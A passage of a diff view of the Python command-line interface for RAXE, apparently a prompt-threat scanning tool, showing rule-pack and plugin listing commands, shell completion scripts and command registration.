925
|
+
|
|
926
|
+
@pack.command("list")
|
|
927
|
+
def pack_list():
|
|
928
|
+
"""List installed rule packs."""
|
|
929
|
+
raxe = Raxe()
|
|
930
|
+
|
|
931
|
+
click.echo("Installed packs:")
|
|
932
|
+
click.echo()
|
|
933
|
+
|
|
934
|
+
# Get packs from registry
|
|
935
|
+
stats = raxe.stats
|
|
936
|
+
click.echo(f" Rules loaded: {stats['rules_loaded']}")
|
|
937
|
+
click.echo(f" Packs loaded: {stats['packs_loaded']}")
|
|
938
|
+
click.echo()
|
|
939
|
+
click.echo("Use 'raxe pack info <pack-id>' for details")
|
|
940
|
+
|
|
941
|
+
|
|
942
|
+
@pack.command("info")
|
|
943
|
+
@click.argument("pack_id")
|
|
944
|
+
def pack_info(pack_id: str):
|
|
945
|
+
"""Show information about a specific pack."""
|
|
946
|
+
click.echo(f"Pack: {pack_id}")
|
|
947
|
+
click.echo(" (Full pack info coming in next sprint)")
|
|
948
|
+
|
|
949
|
+
|
|
950
|
+
@cli.command()
|
|
951
|
+
@handle_cli_error
|
|
952
|
+
def plugins():
|
|
953
|
+
"""List installed plugins.
|
|
954
|
+
|
|
955
|
+
Shows all discovered plugins with their status (loaded or failed).
|
|
956
|
+
"""
|
|
957
|
+
from raxe.plugins import PluginLoader
|
|
958
|
+
|
|
959
|
+
loader = PluginLoader()
|
|
960
|
+
discovered = loader.discover_plugins()
|
|
961
|
+
|
|
962
|
+
if not discovered:
|
|
963
|
+
console.print("[yellow]No plugins found[/yellow]")
|
|
964
|
+
console.print()
|
|
965
|
+
console.print(f"Install plugins to: {loader.plugin_paths}")
|
|
966
|
+
console.print("See: https://docs.raxe.ai/plugins for more info")
|
|
967
|
+
return
|
|
968
|
+
|
|
969
|
+
# Create table
|
|
970
|
+
from rich.table import Table
|
|
971
|
+
|
|
972
|
+
table = Table(title="Installed Plugins")
|
|
973
|
+
table.add_column("Name", style="cyan", no_wrap=True)
|
|
974
|
+
table.add_column("Path", style="blue")
|
|
975
|
+
table.add_column("Status", style="green")
|
|
976
|
+
|
|
977
|
+
for plugin_info in discovered:
|
|
978
|
+
# Determine status
|
|
979
|
+
if plugin_info.name in loader.loaded_plugins:
|
|
980
|
+
status = "[green]✓ Loaded[/green]"
|
|
981
|
+
elif plugin_info.name in loader.failed_plugins:
|
|
982
|
+
error = loader.failed_plugins[plugin_info.name]
|
|
983
|
+
status = f"[red]✗ Failed: {error}[/red]"
|
|
984
|
+
else:
|
|
985
|
+
status = "[yellow]○ Not Enabled[/yellow]"
|
|
986
|
+
|
|
987
|
+
table.add_row(
|
|
988
|
+
plugin_info.name,
|
|
989
|
+
str(plugin_info.path),
|
|
990
|
+
status
|
|
991
|
+
)
|
|
992
|
+
|
|
993
|
+
console.print(table)
|
|
994
|
+
console.print()
|
|
995
|
+
console.print(f"Total: {len(discovered)} plugins discovered")
|
|
996
|
+
console.print(f"Loaded: {len(loader.loaded_plugins)}")
|
|
997
|
+
console.print(f"Failed: {len(loader.failed_plugins)}")
|
|
998
|
+
console.print()
|
|
999
|
+
console.print("Enable plugins in ~/.raxe/config.yaml under plugins.enabled")
|
|
1000
|
+
|
|
1001
|
+
|
|
1002
|
+
# Note: profile_cmd removed - use 'raxe profile' command instead
|
|
1003
|
+
# Note: metrics_server removed - functionality consolidated into monitoring module
|
|
1004
|
+
|
|
1005
|
+
|
|
1006
|
+
@cli.command("completion")
|
|
1007
|
+
@click.argument(
|
|
1008
|
+
"shell",
|
|
1009
|
+
type=click.Choice(["bash", "zsh", "fish", "powershell"]),
|
|
1010
|
+
)
|
|
1011
|
+
def completion(shell: str):
|
|
1012
|
+
"""
|
|
1013
|
+
Generate shell completion script.
|
|
1014
|
+
|
|
1015
|
+
\b
|
|
1016
|
+
Installation:
|
|
1017
|
+
# Bash
|
|
1018
|
+
raxe completion bash > /etc/bash_completion.d/raxe
|
|
1019
|
+
|
|
1020
|
+
# Zsh
|
|
1021
|
+
raxe completion zsh > ~/.zsh/completions/_raxe
|
|
1022
|
+
|
|
1023
|
+
# Fish
|
|
1024
|
+
raxe completion fish > ~/.config/fish/completions/raxe.fish
|
|
1025
|
+
|
|
1026
|
+
# PowerShell
|
|
1027
|
+
raxe completion powershell >> $PROFILE
|
|
1028
|
+
"""
|
|
1029
|
+
if shell == "bash":
|
|
1030
|
+
script = """
|
|
1031
|
+
# RAXE bash completion
|
|
1032
|
+
_raxe_completion() {
|
|
1033
|
+
local cur prev opts
|
|
1034
|
+
COMPREPLY=()
|
|
1035
|
+
cur="${COMP_WORDS[COMP_CWORD]}"
|
|
1036
|
+
prev="${COMP_WORDS[COMP_CWORD-1]}"
|
|
1037
|
+
opts="init setup scan batch test stats export repl rules doctor pack plugins privacy profile suppress telemetry tune validate-rule auth completion --help --version"
|
|
1038
|
+
|
|
1039
|
+
COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) )
|
|
1040
|
+
return 0
|
|
1041
|
+
}
|
|
1042
|
+
complete -F _raxe_completion raxe
|
|
1043
|
+
"""
|
|
1044
|
+
elif shell == "zsh":
|
|
1045
|
+
script = """
|
|
1046
|
+
#compdef raxe
|
|
1047
|
+
_raxe() {
|
|
1048
|
+
local -a commands
|
|
1049
|
+
commands=(
|
|
1050
|
+
'init:Initialize RAXE configuration'
|
|
1051
|
+
'setup:Interactive setup wizard'
|
|
1052
|
+
'scan:Scan text for threats'
|
|
1053
|
+
'batch:Batch scan prompts from file'
|
|
1054
|
+
'test:Test configuration and connectivity'
|
|
1055
|
+
'stats:Show local statistics'
|
|
1056
|
+
'export:Export scan history'
|
|
1057
|
+
'repl:Interactive shell'
|
|
1058
|
+
'rules:Manage and inspect detection rules'
|
|
1059
|
+
'doctor:Run system health checks'
|
|
1060
|
+
'pack:Manage rule packs'
|
|
1061
|
+
'plugins:List installed plugins'
|
|
1062
|
+
'privacy:Show privacy guarantees'
|
|
1063
|
+
'profile:Profile scan performance'
|
|
1064
|
+
'suppress:Manage false positive suppressions'
|
|
1065
|
+
'telemetry:Manage telemetry settings'
|
|
1066
|
+
'tune:Tune detection parameters'
|
|
1067
|
+
'validate-rule:Validate a rule file'
|
|
1068
|
+
'auth:Manage authentication and API keys'
|
|
1069
|
+
'completion:Generate shell completion'
|
|
1070
|
+
)
|
|
1071
|
+
_describe 'command' commands
|
|
1072
|
+
}
|
|
1073
|
+
_raxe
|
|
1074
|
+
"""
|
|
1075
|
+
elif shell == "fish":
|
|
1076
|
+
script = """
|
|
1077
|
+
# RAXE fish completion
|
|
1078
|
+
complete -c raxe -f -a "init setup scan batch test stats export repl rules doctor pack plugins privacy profile suppress telemetry tune validate-rule auth completion"
|
|
1079
|
+
complete -c raxe -f -a "init" -d "Initialize RAXE configuration"
|
|
1080
|
+
complete -c raxe -f -a "setup" -d "Interactive setup wizard"
|
|
1081
|
+
complete -c raxe -f -a "scan" -d "Scan text for threats"
|
|
1082
|
+
complete -c raxe -f -a "batch" -d "Batch scan prompts from file"
|
|
1083
|
+
complete -c raxe -f -a "test" -d "Test configuration"
|
|
1084
|
+
complete -c raxe -f -a "stats" -d "Show statistics"
|
|
1085
|
+
complete -c raxe -f -a "export" -d "Export scan history"
|
|
1086
|
+
complete -c raxe -f -a "repl" -d "Interactive shell"
|
|
1087
|
+
complete -c raxe -f -a "rules" -d "Manage detection rules"
|
|
1088
|
+
complete -c raxe -f -a "doctor" -d "Run health checks"
|
|
1089
|
+
complete -c raxe -f -a "pack" -d "Manage rule packs"
|
|
1090
|
+
complete -c raxe -f -a "plugins" -d "List installed plugins"
|
|
1091
|
+
complete -c raxe -f -a "privacy" -d "Show privacy guarantees"
|
|
1092
|
+
complete -c raxe -f -a "profile" -d "Profile scan performance"
|
|
1093
|
+
complete -c raxe -f -a "suppress" -d "Manage suppressions"
|
|
1094
|
+
complete -c raxe -f -a "telemetry" -d "Manage telemetry settings"
|
|
1095
|
+
complete -c raxe -f -a "tune" -d "Tune detection parameters"
|
|
1096
|
+
complete -c raxe -f -a "validate-rule" -d "Validate a rule file"
|
|
1097
|
+
complete -c raxe -f -a "auth" -d "Manage authentication and API keys"
|
|
1098
|
+
"""
|
|
1099
|
+
elif shell == "powershell":
|
|
1100
|
+
script = """
|
|
1101
|
+
# RAXE PowerShell completion
|
|
1102
|
+
Register-ArgumentCompleter -Native -CommandName raxe -ScriptBlock {
|
|
1103
|
+
param($wordToComplete, $commandAst, $cursorPosition)
|
|
1104
|
+
$commands = @('init', 'setup', 'scan', 'batch', 'test', 'stats', 'export', 'repl', 'rules', 'doctor', 'pack', 'plugins', 'privacy', 'profile', 'suppress', 'telemetry', 'tune', 'validate-rule', 'auth', 'completion')
|
|
1105
|
+
$commands | Where-Object { $_ -like "$wordToComplete*" } | ForEach-Object {
|
|
1106
|
+
[System.Management.Automation.CompletionResult]::new($_, $_, 'ParameterValue', $_)
|
|
1107
|
+
}
|
|
1108
|
+
}
|
|
1109
|
+
"""
|
|
1110
|
+
click.echo(script)
|
|
1111
|
+
|
|
1112
|
+
|
|
1113
|
+
# Register new commands
|
|
1114
|
+
cli.add_command(auth)
|
|
1115
|
+
cli.add_command(test)
|
|
1116
|
+
cli.add_command(stats)
|
|
1117
|
+
cli.add_command(export)
|
|
1118
|
+
cli.add_command(repl)
|
|
1119
|
+
cli.add_command(rules)
|
|
1120
|
+
cli.add_command(doctor)
|
|
1121
|
+
cli.add_command(models)
|
|
1122
|
+
cli.add_command(profile_command)
|
|
1123
|
+
cli.add_command(privacy_command)
|
|
1124
|
+
cli.add_command(suppress)
|
|
1125
|
+
cli.add_command(tune)
|
|
1126
|
+
cli.add_command(validate_rule_command)
|
|
1127
|
+
cli.add_command(config)
|
|
1128
|
+
cli.add_command(event)
|
|
1129
|
+
cli.add_command(history)
|
|
1130
|
+
cli.add_command(telemetry)
|
|
1131
|
+
|
|
1132
|
+
# Top-level alias for 'raxe link ABC123' (same as 'raxe auth link ABC123')
|
|
1133
|
+
cli.add_command(auth_link, name="link")
|
|
1134
|
+
|
|
1135
|
+
|
|
1136
|
+
if __name__ == "__main__":
|
|
1137
|
+
cli()
|